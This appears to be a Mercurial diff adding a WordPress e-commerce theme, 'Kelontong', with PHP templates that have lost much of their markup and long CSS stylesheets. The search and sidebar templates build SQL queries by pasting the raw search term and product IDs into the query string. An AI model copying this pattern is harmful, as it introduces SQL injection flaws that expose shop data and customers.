$wpdb->get_results($sql, ARRAY_A); + $wpsc_query->product_count = count($wpsc_query->products); + } + } +?> + + +
    +
    +
    + +
    +
    + +

    + + + '

    Pages: ', 'after' => '

    ', 'next_or_number' => 'number')); ?> + + + + + +
    +
    +
    + +
    +
    +
    + + + + + + + + + +
    + +
    +
    +
    + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/rtl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/rtl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,127 @@ +/* +Theme name: WordPress Default - kubrick - +Editors: Navid Kashani +Persian Wordpress Project : wp-persian.com +*/ +body, .commentlist li, #commentform input, #commentform textarea, #commentform p, #sidebar, #wp-calendar caption { + font-family:tahoma, arial; +} +#page { + text-align:right; + direction:rtl; +} +h1, h2, h3, #sidebar h2 { + font-family:arial, tahoma; +} +.commentlist li .avatar { + float:left; +} + +.commentlist li { + padding: 5px 10px 10px 5px; + } +.commentlist li ul li { + margin-left: -5px; + margin-right: 10px; +} + +.commentlist p { + margin: 10px 0 10px 5px; +} +#header { + margin:0 1px 0 0; +} +.narrowcolumn { + float:right; + padding: 0 45px 20px 0; +} +.widecolumn { + margin: 5px 150px 0 0; +} +.widecolumn .smallattachment { + margin: 5px 0 5px 5px; +} +.postmetadata { + clear:right; +} +#sidebar { + margin-left: 0; + margin-right: 545px; +} +img.alignright { + margin: 0 7px 2px 0; +} + +img.alignleft { + margin: 0 0 2px 7px; +} + +.alignright { + float: left; +} + +.alignleft { + float: right; +} +code { + display:block; + direction:ltr; + text-align:left; +} +acronym, abbr, span.caps { + letter-spacing:0; /* fix opera bug */ +} +html>body .entry ul { + padding:0 10px 0 0; + text-indent:10px; +} +html>body .entry li { + margin: 7px 10px 8px 0; +} +.entry ol { + padding: 0 35px 0 0; +} +#sidebar ul ul, #sidebar ul ol { + margin: 5px 10px 0 0; +} +#sidebar ul ul ul, #sidebar ul ol { + margin: 0 10px 0 0; +} +#commentform { + margin: 5px 0 0 10px; + } +#commentform input { + margin: 5px 0 1px 5px; +} +#commentform #submit { + float:left; +} +.commentlist p { + margin: 10px 0 10px 5px; +} + +.children .even, .alt { + border-left: 0; + border-right: 1px solid #ddd; +} + +#wp-calendar #next a { + padding-right:0; + padding-left:10px; + text-align:left; +} +#wp-calendar #prev a { + padding-left:0; + padding-right:10px; + text-align:right; +} +blockquote { + margin: 15px 10px 0 30px; + padding-left: 0; + padding-right: 20px; + border-left: 0 none; + border-right: 5px solid #ddd; +} +#email, #url { + direction:ltr; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/screenshot.png Binary file web/wp-content/themes/themes/kelontong/screenshot.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/search.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/search.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,171 @@ +stripNonText($_GET['page']); + $current_page = (isset($page) && $page != '') ? $page : 1; + + $max_per_page_product = 12; + + if ($search_query != '') + { + $sql = 'SELECT ' . WPSC_TABLE_PRODUCT_LIST . '.id, name, LEFT(description, 80) as description, image '; + $sql .= 'FROM ' . WPSC_TABLE_PRODUCT_LIST . ' '; + $sql .= 'WHERE publish = 1 AND active = 1 '; + $sql .= 'AND (name LIKE "%'.$search_query.'%" OR description LIKE "%'.$search_query.'%" OR additional_description LIKE "%'.$search_query.'%" OR price LIKE "%'.$search_query.'%") '; + + $product_count = count($wpdb->get_results($sql, ARRAY_A)); + + $sql .= 'LIMIT ' . (($current_page - 1) * $max_per_page_product) . ', ' . $max_per_page_product; + + $wpsc_query->products = $wpdb->get_results($sql, ARRAY_A); + $wpsc_query->product_count = count($wpsc_query->products); + + $max_page = ceil($product_count / $max_per_page_product); + $max_page = ($max_page == 0) ? 1 : $max_page; + + if ($wpsc_query->product_count > 0) + { + $has_result = TRUE; + } + } + +?> + +
    +
    +
    + +
    +

    Search Results

    +
    +

    +

    + + + + < + + | + + > +

    +
    +
    +
    +
      +
    • + +
    • +
      + + + + + <?php echo wpsc_the_product_title(); ?> + + + No Image Available + + +
      +
      +
      + + + + + +
      +

      + output_get_categories(wpsc_the_product_id(), ', ', '', ''); ?> +

      +

      + + + + + + + +

      +

      + +

      +
      + +
      +
      +
    • + +
    • +
    +
    +
    +

    +

    + + + + < + + | + + + + > + +

    +
    +
    +
    +
    + +
    +
    +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/searchform.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/searchform.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,3 @@ +
    + +
    \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/sidebar.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/sidebar.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,133 @@ +get_var('SELECT id FROM '. WPSC_TABLE_PRODUCT_CATEGORIES . ' WHERE `nice-name` = "featured" LIMIT 1'); +} + +// get random featured product +if ($featured_category != null) +{ + $sql = 'SELECT ' . WPSC_TABLE_PRODUCT_LIST . '.id, name, LEFT(description, 80) as description, price, pnp, file, image, special, special_price '; + $sql .= 'FROM ' . WPSC_TABLE_PRODUCT_LIST . ' LEFT JOIN ' . WPSC_TABLE_ITEM_CATEGORY_ASSOC . ' ON '; + $sql .= WPSC_TABLE_PRODUCT_LIST . '.id = ' . WPSC_TABLE_ITEM_CATEGORY_ASSOC . '.product_id '; + $sql .= 'WHERE publish = 1 AND active = 1 AND ' . WPSC_TABLE_ITEM_CATEGORY_ASSOC . '.category_id = ' . $featured_category . ' '; + if ($current_product_id != '') + { + $sql .= 'AND ' . WPSC_TABLE_PRODUCT_LIST . '.id != ' . $current_product_id . ' '; + } + $sql .= 'ORDER BY RAND() LIMIT 1'; + + $wpsc_query->products = $wpdb->get_results($sql, ARRAY_A); + $wpsc_query->product_count = count($wpsc_query->products); +} +?> +
    + + + + +get_sql_top_selling(array(), 5); +if ($popular_sql != '') +{ + $wpsc_query->products = $wpdb->get_results($popular_sql, ARRAY_A); + $wpsc_query->product_count = count($wpsc_query->products); + $has_popular = TRUE; +} +?> + + + +
    \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/single.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/single.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,63 @@ + + +
    +
    +
    + + +
    +

    + + + +

    +
    + + +
    +
    + Tags: ', ', ', ''); ?> +
    +
    + +
    +
    + + Page: ', '

    '); ?> +
    +
    + + + + + + + + +
    + +
    +
    +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1358 @@ +/* +Theme Name: Kelontong Free +Theme URI: http://www.icreativelabs.com/ +Description: None. +Version: 1.0.0 +Author: iCreative Labs +Author URI: http://www.icreativelabs.com +Tags: black, blue + + Kelontong Free v1.0.0 + http://www.icreativelabs.com/ + This theme was designed and built by icreativelabs, + whose blog you will find at http://www.icreativelabs.com/ + The CSS, XHTML and design is released under GPL: + http://www.opensource.org/licenses/gpl-license.php +*/ + + +/* +Author: + Momo + Budi + Sulaeman +Project Initiatior: + iCreativeLabs + http://www.icreativelabs.com/ +Client: + iCreativeLabs + http://www.icreativelabs.com/ +*/ + +* { + margin:0; + padding:0; + outline:none !important; +} +body { + font-size: 75%; + font-family: Helvetica, Arial, sans-serif; +} + +/* +Sticky Footer Solution by Steve Hatcher +http://stever.ca http://www.cssstickyfooter.com +*/ +* {margin:0;padding:0;} +html, body, #wrap {height: 100%;} +body > #wrap {height: auto; min-height: 100%;} +#main {padding-bottom: 67px;} +#foot-nav {position: relative;margin-top: -67px;height: 67px;clear:both;} +.clearfix:after {content: ".";display: block;height: 0;clear: both;visibility: hidden;} +.clearfix {display: inline-block;} +* html .clearfix { height: 1%;} +.clearfix {display: block;} +h1, h2, h3, h4, h5, h6 { + font-weight: normal; +} +h1 { + font-size: 1.8em; +} +h2 { + font-size: 1.7em; +} +h3 { + font-size: 1.5em; +} +h4 { + font-size: 1.2em; +} +h5 { + font-size: 1.1em; + font-weight: bold; +} +h6 { + font-size: 1em; + font-weight: bold; +} +h1 img, h2 img, h3 img, h4 img, h5 img, h6 img { + margin: 0; +} +.container { + width: 100%; + position: relative; + text-align:center; +} +.content { + width: 860px; + margin:0 auto; + position: relative; + text-align:left; +} +a { + text-decoration: none; +} +a img { + border: none; +} +input:focus { + outline: none; +} + +/* + Navigation +*/ + +.nav { + list-style: none; + line-height:1; + float:left; + margin-bottom:1em; +} +.nav li { + display:inline; +} +#user { + width: 360px; + padding-top: 8px; + float: right; + list-style: none; + text-align: right; + position:absolute; + top:50px; + right:20px; +} +#user li { + display: inline; + font-weight: bold; + margin-left: 15px; +} + +#register li { + margin-left:0 !important; +} +#logged a { + margin:0 3px; +} +#register a { + padding-left: 20px; +} +#foot-nav { + z-index: 2; +} +#foot-nav, #foot-nav-bar { + height: 67px; +} +#foot-nav #social { + width: 555px; + text-align: left; + padding-top: 30px; + height: 23px; + line-height: 23px; + position:absolute; + left:0; +} +#foot-nav #social li { + display: inline; +} +#foot-nav #social li a { + font-weight: bold; +} +#foot-nav #social li.icon { + margin-right: 10px; + display: block; + float: left; +} +#foot-nav #social li.icon a { + display: block; + float: left; + width: 23px; + height: 23px; + overflow: hidden; + text-indent: -9999px; +} +#foot-nav-bar .nav { + width:550px; + padding-top: 35px; + text-align: right; + position:absolute; + right:0; +} +#top-nav { + position:relative; + z-index: 3000; +} +#top-nav-bar { + position:relative; + z-index:2000; +} +#top-nav, #top-nav-bar { + height: 41px; + overflow:visible; +} +#top-nav-bar .nav { + padding: 0; + margin: 0; + display:block; + list-style:none; + text-align:left; +} +#top-nav-bar .nav li { + float:left; + position:relative; +} +#top-nav-bar .nav a { + display:block; + position:relative; + padding:0.75em 1em; +} + +/* + Header +*/ + +#header { + padding-top: 10px; + margin-bottom:20px; + z-index:600; + position:relative; +} +#header .content { + z-index:300; + position:relative; +} +#logo { + position: relative; + height: 80px; +} +#logo h1, #logo h2 { + display: block; + float: left; + position: relative; +} +#logo h1 { + margin-right: 10px; + + top:20px; + font-size:2.8em; +} +#logo h2 { + font-size: 1.8em; + top:30px; +} +#head-categories { + display: block; + position: relative; + height: 35px; + padding: 0 10px; + line-height: 35px; + -moz-border-radius: 6px; + -webkit-border-radius: 6px; +} +#breadcrumbs { + list-style: none; + text-align: left; + display: block; + float: left; + width: 630px; + margin-left: 5px; +} +#breadcrumbs * { + margin: 0 5px; +} +#dropdown-categories { + display: block; + position: absolute; + right: -1px; + top:-1px; + width: 200px; +} +#dropdown-categories p { + padding: 0 30px 0 0; + -moz-border-radius-topright: 6px; + -moz-border-radius-bottomright: 6px; + -webkit-border-top-right-radius: 6px; + -webkit-border-bottom-right-radius: 6px; + font-weight: bold; + cursor: pointer; + text-align: right; + height:35px; + line-height:35px; + position:relative; +} +#dropdown-categories p span { + width: 20px; + position:absolute; + display:block; + right:10px; + top:0; +} +#dropdown-categories ul { + position: absolute; + list-style: none; + line-height: 1.2em; + text-align: right; + margin: 0 6px 0 2px; + padding-bottom: 12px; + display:none; + -moz-border-radius-bottomright: 6px; + -moz-border-radius-bottomleft: 6px; + -webkit-border-bottom-right-radius: 6px; + -webkit-border-bottom-left-radius: 6px; +} +#dropdown-categories ul li { + padding: 2px 10px; + position:relative; +} +#dropdown-categories ul li a { + display: block; + padding: 3px 10px 3px 0; + width:160px; +} +.more a, .clearlist { + display: block; + width: 146px; + height: 36px; + overflow: hidden; + text-align: center; + font-size: 0.9em; + line-height: 31px; + margin: 0 auto; + font-weight:bold; + text-transform:lowercase; +} +.checkout { + margin-right:20px; +} +.checkout h2 { + margin-bottom:20px; +} +.hrbar { + background:#fff; + border:none; + border-top:1px solid #eee; + height:10px; + margin-top:10px; +} + +/*--------------------------- HOME PAGE ---------------------------*/ + +/* + FEATURED +*/ + +#featured .content { + font-size: 1.2em; + position:relative; + margin-bottom:20px; + -moz-border-radius: 10px; + -webkit-border-radius: 10px; +} +#featured-banner { + width: 194px; + height: 54px; + overflow: hidden; + text-indent: -9999px; + position: absolute; + left: -14px; + top:15px; +} +#featured-products { + width:860px; + height: 400px; + overflow: scroll; + position: relative; +} +.featured-belt { + position: absolute; + left: 0; + top: 0; +} +.featured-wrap { + width:860px; + float: left; + overflow: hidden; +} +.featured-text { + width: 355px; + padding: 80px 0 30px 50px; + float: left; +} +.featured-name { + margin-bottom: 30px; +} +.featured-name a { + font-size: 1.5em; + font-weight: bold; +} +.featured-description { + line-height: 1.5em; + margin-bottom: 20px; +} +p.excerpt{ + font-size: 2.6em; + margin-bottom: 20px; + line-height: 1em; +} +.featured-image { + width: 420px; + height:350px; + float:right; + line-height:350px; + padding-top:50px; + text-align:center; +} +.featured-image img { + display:inline; +} +.featured-more a { + margin: 0; +} +/* + NEWEST +*/ + +#newest .content { + font-size: 1.2em; + position:relative; + margin-bottom:20px; + -moz-border-radius: 10px; + -webkit-border-radius: 10px; +} +#newest-products { + width:860px; + height: 360px; + overflow: scroll; + position: relative; +} +.newest-belt { + position: absolute; + left: 0; + top: 0; +} +.newest-panel { + text-align: center; + width:215px; + height: 360px; + float: left; + overflow: hidden; + padding-left: 1px; + position:relative; +} +.newest-panel div { + margin: 5px 0 10px; +} +.newest-panel p { + font-size: 0.95em; + padding: 0 10px; +} +.newest-panel h5 a { + font-size: 1.1em; + font-weight: normal; +} + +.newest-image { + padding-top: 20px; + position: relative; + text-align: center; + height:180px; + line-height:160px; + width:215px; + display:table-cell; + vertical-align:middle; +} +.newest-image img { + max-width: 180px; +} +.newest-panel .more { + position: absolute; + top: 310px; + left: 30px; +} +.newest-cat, .newest-desc { + font-size:0.85em; + padding:0 15px; +} + +/*--------------------------- SINGLE PAGES ---------------------------*/ + +/* + TWO COLUMNS +*/ + +#two-columns .content { + font-size: 1.1em; + position:relative; + -moz-border-radius: 10px; + -webkit-border-radius: 10px; + margin-bottom:20px; + z-index: 1; +} +#right-column { + float: right; + width: 620px; + position:relative; + padding-top: 40px; +} +#left-column { + float: left; + width: 220px; + position:relative; +} + +/* + ONE COLUMNS +*/ + +#one-column .content { + font-size: 1.1em; + position:relative; + -moz-border-radius: 10px; + -webkit-border-radius: 10px; + margin-bottom:20px; + z-index: 1; + width:820px; + padding:0 20px; +} + + +/* + PRODUCT DETAILS +*/ + +.product-text { + margin-right:10px; + width: 225px; + float:left; +} +.product-text h1 { + font-size: 1.8em; +} +.product-category a { + margin:4px 0; + color:#666; +} +.product-description p { + line-height: 1.2em; + margin-bottom:10px; +} +.product-description p:first-child { + font-size: 2em; +} +.product-image { + padding: 40px 10px 0 0; + float:right; + width:365px; + overflow:hidden; +} +.product-image .main-image { + margin-bottom:20px; + text-align:center; +} +.link_full_specification { + display:block; + padding:3px 0; + margin:10px 0; + font-weight:bold; +} +.addtocart a { + display: block; + width: 138px; + height: 40px; + overflow: hidden; + text-align: center; + text-indent:-999px; + font-size: 0.9em; + line-height: 31px; +} +.addtowishlist { + width:134px; + text-align:center; +} +.addtowishlist a { + padding-left:20px; + height:20px; + line-height:20px; + text-transform:lowercase; +} +#icl_widget_wishlist_container, .wpsc_variation_forms { + margin-bottom:10px; +} +#full_specification { + margin-right:20px; +} +.popup-images { + list-style:none; +} +.popup-images li { + float:left; + margin-right:5px; +} +.popup-images li a { + display:block; + padding:4px; + border:1px solid #ccc; +} +.popup-images li a img { + border:none; + border:1px solid #ccc; +} +.banner, .product_banner { + text-align:center; + width:100%; + padding:20px 0; +} + +/* + PRODUCTS LISTING +*/ + +.product-listing-top { + position:relative; + margin: 0 20px 10px 0; +} +.product-listing-top h3 { + width:300px; + float:left; +} +.listing-top-right, .listing-bottom-right { + width:250px; + float:right; + text-align:right; + padding-right:20px; + font-size:0.8em; + line-height:2em; +} +.product-listing-bottom { + padding-top:10px; + margin: 10px 20px 20px 0; +} +.listing-top-right p, .listing-bottom-right p { + display:inline; + margin-left:20px; +} +.product-listing { + list-style:none; + border-top:1px solid #ccc; + margin: 0 20px 20px 0; +} +.product-li { + width:185px; + height:285px; + padding:5px 5px 50px; + text-align:center; + float:left; + position:relative; +} +.list-desc h5 { + margin-bottom:5px; +} +.list-price { + font-weight:bold; + margin-bottom:10px; +} +.list-description { + margin-bottom:15px; +} +.list-image { + padding-top:20px; + position:relative; + margin:5px 0 10px; + height:150px; + width:185px; + display:table-cell; + text-align:center; + vertical-align:middle; +} +.list-image img { + max-width:180px; +} +.product-li .more { + position:absolute; + top:290px; + left:30px; +} +#right-column h4 a { + font-size:0.75em; + margin-left:5px; +} + +/*--------------------------- BLOG ---------------------------*/ + +/* + BLOG POST +*/ + +.post {padding-right:20px;position:relative;} +.post img {max-width:600px;} + +.post-title, .post-detail {width:540px;} + +.post-title a { + font-size:1.2em; + font-weight:bold; + letter-spacing:-1px; +} + +.post-detail { + font-size:0.85em; + margin:5px 0; +} + +.commentcount { + display:block; + width:60px; + height:60px; + position:absolute; + top:0; + right:20px; + line-height:45px; + text-align:center; + font-weight:bold; + font-size:1.3em; +} + +.post-content { + padding: 10px 0 20px; + line-height:1.3em; + margin-bottom:20px; +} + + .post-content p { + margin-bottom:10px; + } + .post-content blockquote, .post-content cite { + padding-left:60px; + } + .post-content blockquote p { + font-style:italic; + } + .post-content cite { + font-style:normal; + font-weight:bold; + } + + .post-content h1, .post-content h2, .post-content h3, .post-content h4, .post-content h5, .post-content h6, #comments h2, #respond { + line-height:1.2em; + font-weight:bold; + margin:5px 0 10px; + } + + .post-content ul, .post-content ol { + margin-left:15px; + } + .post-content ul li, .post-content ol li { + line-height:1.5em; + } + + .post-content .wp-caption {font-style:italic;text-align:center;} + .post-content .alignleft {float:left;margin-right:20px;} + .post-content .alignright {float:right;margin-left:20px;} + .post-content .aligncenter {display:block;width:100%;} + +.comment-wrap {padding-right:20px;} +.comment-wrap:after {content: " ";display: block;height: 15px;clear: both;visibility: hidden;} +.comment-left {display:block;width:60px;float:left;} +.comment-right {display:block;width:530px;float:right;} +.comment-right p {line-height:1.3em;margin-bottom:5px;} + +#comment_form { + margin:0 20px 20px 0; + padding:20px; + -moz-border-radius: 10px; + -webkit-border-radius: 10px; +} + +form fieldset {border:none;} +#comment_form label, #comment_form input.text, #comment_form textarea, #comment_form p { + display:block; + float:left; + margin:5px 0; +} +#comment_form label { + width:100px; + font-weight:bold; + text-align:right; + padding-right:10px; +} +#comment_form input.text { + width:350px; + margin-right:80px; + padding:3px; + -moz-border-radius:5px; + -webkit-border-radius: 5px; +} +#comment_form textarea { + width:400px; + margin-right:30px; + padding:3px; + -moz-border-radius:5px; + -webkit-border-radius: 5px; +} +input[type="hidden"] { + display:none; +} +#comment_form p { + margin-left:110px; + margin-right:200px; + } +input#submit, .broap { + display: block; + width: 146px; + height: 36px; + overflow: hidden; + text-align: center; + margin: 0 auto; + text-transform:lowercase; + border:none; + padding-bottom:5px; +} + +/*--------------------------- FAQ ---------------------------*/ +.random { + padding-top:15px; +} +.random ul { + list-style:none; + text-align:center; +} + +.random ul li { + display:inline; + margin:0 2px; +} + + +/*------------------------- WISHLIST & CHECKOUT -------------------------*/ + +.mustlogin h2 { + margin-bottom:20px; +} +.mustlogin form label { + display:block; + width:250px; + text-align:right; + height:30px; + line-height:25px; +} +.mustlogin #pwd, .mustlogin #log { + display:block; + float:right; + margin-left: 10px; + padding:3px; + -moz-border-radius:5px; + -webkit-border-radius: 5px; +} +.mustlogin form p.clear { + padding-bottom:10px; +} +.mustlogin form p.clear label, .mustlogin .submit { + text-align:left; + padding-left:100px; + height:20px; +} +.mustlogin #submit { + margin:0; +} +.wpsc_checkout_forms .form h4 { + margin-bottom:10px; +} +.wpsc_checkout_forms .form label, .wpsc_checkout_forms .form .in{ + float:left; +} + +.wpsc_checkout_forms .form label { + width:100px; + text-align:right; + padding-right:10px; +} +.wpsc_checkout_forms .clear { + height:10px; +} +.broap { + margin:0 0 0 110px; +} +/* + PAYMENT TABLES +*/ + +.payment { + border-collapse:collapse; + font-size:12px; + height:20px; + line-height:20px; + margin-bottom:20px; +} +.payment td { + padding:0 10px; +} +.payment th { + padding:3px 10px; +} +.payment .nama { + font-weight:bold; + font-size:13px; +} + +/*------------------------- SIDEBAR -------------------------*/ + +.sidebar { + padding: 0 15px; + margin-bottom:15px; +} +.sidebar h3, .sidebar h4 { + font-weight:bold; + letter-spacing:-1px; + padding-bottom:5px; + margin-bottom:5px; + border-bottom:1px solid #bbb; +} +.sidebar div ul {} +.sidebar div ul li { + margin-bottom:2px; +} +.widget_wp_shopping_cart { + -moz-border-radius-topleft: 6px; + -webkit-border-top-left-radius: 6px; + padding:70px 15px 10px; + margin-bottom:15px; +} +.widget_wp_shopping_cart h3 { + height:57px; + width:196px; + overflow:hidden; + text-indent:-9999px; + position:absolute; + border:none; + top:10px; + left:-14px; +} +.widget_wp_shopping_cart p { + color:#fff; +} +.side-cart { + border-collapse:collapse; + font-size:11px; + height:20px; + line-height:20px; + margin:10px 0; + width:190px; +} +.side-cart th { + text-align:center; +} +.side-cart td { + padding:0 5px; +} +.buttonclear a, .buttoncheckout a, .visitshop a { + display:block; + height:35px; + float:left; + line-height:28px; + text-transform:lowercase; + font-weight:bold; + text-align:center; +} +.buttonclear a { + width:54px; +} +.buttoncheckout a, .visitshop a { + width:86px; +} +.visitshop a { + margin-top:10px; +} +#search { + height:27px; +} +#search input { + margin:5px 0 0 25px; + border:none; +} +.sidebar ul { + margin-left:15px; + text-align:left; +} +.blocked-sidebar ul { + margin-left:0; +} +.sidebar ul li { + line-height:1.4em; +} +.sidebar ul li a {} +.sidebar ul li ul li a {} +.sidebar ul li ul li ul li a { + font-size:0.9em; + font-style:italic; +} +#featured-side { + text-align:center; + margin-top:10px; +} +.featured-side h5 { + margin-bottom:5px; +} +.featured-side-price { + font-weight:bold; + margin-bottom:10px; +} +.featured-side-description { + margin-bottom:15px; +} +#featured-side .more { + width:146px; + margin:10px auto; +} +#popular-side ul { + margin-left:15px; + text-align:left; +} +#popular-side ul li { + font-size:0.9em; + clear:both; + margin-bottom:10px; +} +#popular-side ul li a img { + float:left; + max-width:60px; + margin-right:10px; +} +#popular-side h5 { +} + +/* + SCROLLER BUTTONS +*/ + +.prev, .next { + display: block; + width: 42px; + height: 71px; + overflow: hidden; + text-indent: -9999px; + cursor: pointer; + position: absolute; +} +.prev1 { + top:179px; + left: -42px; +} +.next1 { + top:179px; + right: -42px; +} +.prev2 { + top:134px; + left: -42px; +} +.next2 { + top:134px; + right: -42px; +} + +/* + FIX +*/ + +.clear {clear:both;} + +body { + color: #333; + background: #121212 url(images/header-bg.png) no-repeat top center; +} +h1, h2, h3, h4, h5, h6 { + color: #111; +} +a { + color: #000; +} +#top-nav { + background: url(images/top-nav.png) repeat-x top center; +} +#top-nav-bar { + background: url(images/top-nav-bar.png) no-repeat top center; +} +#top-nav-bar .nav li .sub_nav { + background:url(images/sub-nav.png) no-repeat bottom center; + border-color:#333; + border-style:solid; + border-width:0 1px 1px 1px; +} +#top-nav-bar .nav li .sub_nav a:hover { + background:#000; +} +#top-nav-bar .nav li:hover .sub_nav li .sub_nav{ + border-width:1px; +} +#foot-nav { + background: url(images/foot-nav.png) repeat-x top center; +} +#foot-nav-bar { + background: url(images/foot-nav-bar.png) no-repeat top center; +} +#foot-nav #social li a { + color: #ccc; +} +#foot-nav #social li#rss a { + background: url(images/rss.png) no-repeat top center; +} +#foot-nav #social li#facebook a { + background: url(images/facebook.png) no-repeat top center; +} +#foot-nav #social li#twitter a { + background: url(images/twitter.png) no-repeat top center; +} +.nav a { + color:#909090; + padding:0.75em 1em 0.75em 0; +} +#register a { + background: url(images/user.png) no-repeat left center; +} +#logged { + color:#666; +} +#logged a, #login a { + color: #fff; +} +#logo h1 a { + text-shadow: #000 1px 1px 3px; +} +#logo h2 { + color: #fff; + text-shadow: #000 1px 1px 3px; +} +.more a { + background: url(images/more.png) no-repeat top left; + color: #111; +} +.more a:hover { + color: #444; + text-decoration:none; +} +.addtocart a { + background: url(images/add-to-cart.png) no-repeat top left; +} +.addtowishlist a { + background:url(images/add-to-wishlist.png) no-repeat left center; +} +.link_full_specification { + background:url(images/fullspec.jpg) no-repeat left center; + padding-left:15px; +} +#head-categories { + background: #fff url(images/head-categories.png) repeat-x bottom left; + border:1px solid #eee; +} +#dropdown-categories p { + background: #00B1EC; + color: #fff; + border: 1px solid #00BEFC; +} +#dropdown-categories ul { + background: #00B1EC; + border: 1px solid #00BEFC; + border-top: none; +} +#dropdown-categories ul li:hover, .previous_categories { + background: #00BEFC; +} +#dropdown-categories ul li a { + color: #fff; +} +#dropdown-categories ul li a:hover { + text-decoration: none; +} +#dropdown-categories ul li span { + color:#fff; + display:block; + font-size:0.7em; + position:absolute; + right:10px; + top:6px; + width:10px; +} +#featured .content { + background:#fff url(images/main.png) repeat-x bottom left; +} +#featured-banner { + background: url(images/featured.png) no-repeat top left; +} +.featured-name a { + color: #666; +} +.featured-name a:hover { + color: #000; +} +.featured-more a, input#submit, .clearlist, .broap { + background: url(images/featured-more.png) no-repeat top left; + color: #fff; +} +.prev { + background: url(images/scroll-left.png) no-repeat bottom center; +} +.next { + background: url(images/scroll-right.png) no-repeat bottom center; +} +.prev:hover { + background: url(images/scroll-left.png) no-repeat top center; +} +.next:hover { + background: url(images/scroll-right.png) no-repeat top center; +} +#right-column h4 a { + color:#00B1EC; +} +#newest .content { + background:#191919; +} +#newest-products, .newest-panel { + background: url(images/newest.png) no-repeat right center; +} +.newest-panel { + background: url(images/newest.png) no-repeat left center; +} +.newest-panel h5 a { + color: #fff; +} +.newest-cat, .newest-cat a { + color: #555; +} +.newest-desc { + color: #ccc; +} +#two-columns .content { + background: #fff url(images/sidebar.png) repeat-y top left; +} +#one-column .content { + background: #fff; +} +.listing-top-right p a, .list-category a, .listing-bottom-right p a, .featured-side-category a, .listing-top-right p label, .list-category label, .listing-bottom-right p label, .featured-side-category label { + color:#666; +} +.product-listing, .product-listing-bottom { + border-top:1px solid #ccc; +} +.widget_wp_shopping_cart { + background:#09c; +} +.widget_wp_shopping_cart h3 { + background:url(images/sidebar-cart.png) no-repeat top left; +} +.side-cart td, .side-cart th { + border: 1px solid #23c0f0; +} +.side-cart th { + background:#23c0f0; +} +.buttonclear a, .buttoncheckout a { + color:#555; +} +.buttonclear a:hover, .buttoncheckout a:hover { + color:#000; +} +.buttonclear a { + background:url(images/clear.png) no-repeat top left; +} +.buttoncheckout a, .visitshop a { + background:url(images/checkout.png) no-repeat top left; +} +#search { + background:url(images/search.jpg) no-repeat top left; +} +.sidebar a { + color:#079; +} +.sidebar ul, .post-content ul { + list-style-image:url(images/list.png); +} +.sidebar ul li ul, .blocked-sidebar ul { + list-style:none; +} +#popular-side a { + color:#666; +} +#popular-side h5 a { + color:#000; +} +.newest-desc { + color: #ccc; +} +.newest-desc { + color: #ccc; +} +.post-title a, #comments h2 a, #respond, .commentcount a { + color:#004156; +} +.commentcount { + background:url(images/blog-comment.png) no-repeat top right; +} +.post-content { + border-bottom:1px solid #ccc; +} +.post-content blockquote { + color:#666; + background:url(images/blog-quote.png) no-repeat top left; +} +#comment_form { + background:#9fd9ec; +} +input.text, textarea { + background:#fff; + border:1px solid #eee; +} +.mustlogin #pwd, .mustlogin #log { + border: 1px solid #ccc; +} +.payment { + border:1px solid #eee; +} +.payment th { + background:#e9e9e9; +} +.buy, .remove { + height:20px; + line-height:20px; + padding-left:18px; +} +.icl_wishlist_sidebar_btn_remove {display:block;float:right;height:16px;margin-left:5px;overflow:hidden;text-indent:100px;width:16px;} +.buy {background:url(images/cart_add.png) no-repeat left center;} +.remove, .icl_wishlist_sidebar_btn_remove {background:url(images/delete.png) no-repeat left center;} +#icl_wishlist_sidebar_btn_view, #icl_wishlist_sidebar_btn_clear {height:25px;line-height:25px;padding-left:18px;} +#icl_wishlist_sidebar_btn_view {background:url(images/heart.png) no-repeat left center;position:relative;left:-4px;} +#icl_wishlist_sidebar_btn_clear {background:url(images/arrow_refresh.png) no-repeat left center;} +.clearlist {margin:0;} + +#register a, +.featured-more a:hover, +.nav a:hover, +#logo h1 a, +.addtowishlist a, +.post-detail a, +.post-content a, +#comments cite b a, +.nama:hover, +.remove +{color: #00B1EC;} + +#top-nav a:hover, +#user a:hover, +#foot-nav a:hover, +.list-desc a:hover, +.featured-side-desc a:hover, +#popular-side a:hover, +#breadcrumbs a:hover, +.newest-panel h5 a:hover, +.newest-cat a:hover, +.product-text a:hover , +.listing-top-right p a:hover, +.listing-bottom-right p a:hover, +.sidebar ul li a:hover, +.post a:hover, +#comments a:hover, +.nama:hover, +.remove:hover, +.buy:hover, +#icl_wishlist_sidebar_btn_view:hover, +#icl_wishlist_sidebar_btn_clear:hover +{text-decoration:underline;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/404.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/404.php Fri Mar 12 13:29:04 2010 +0000 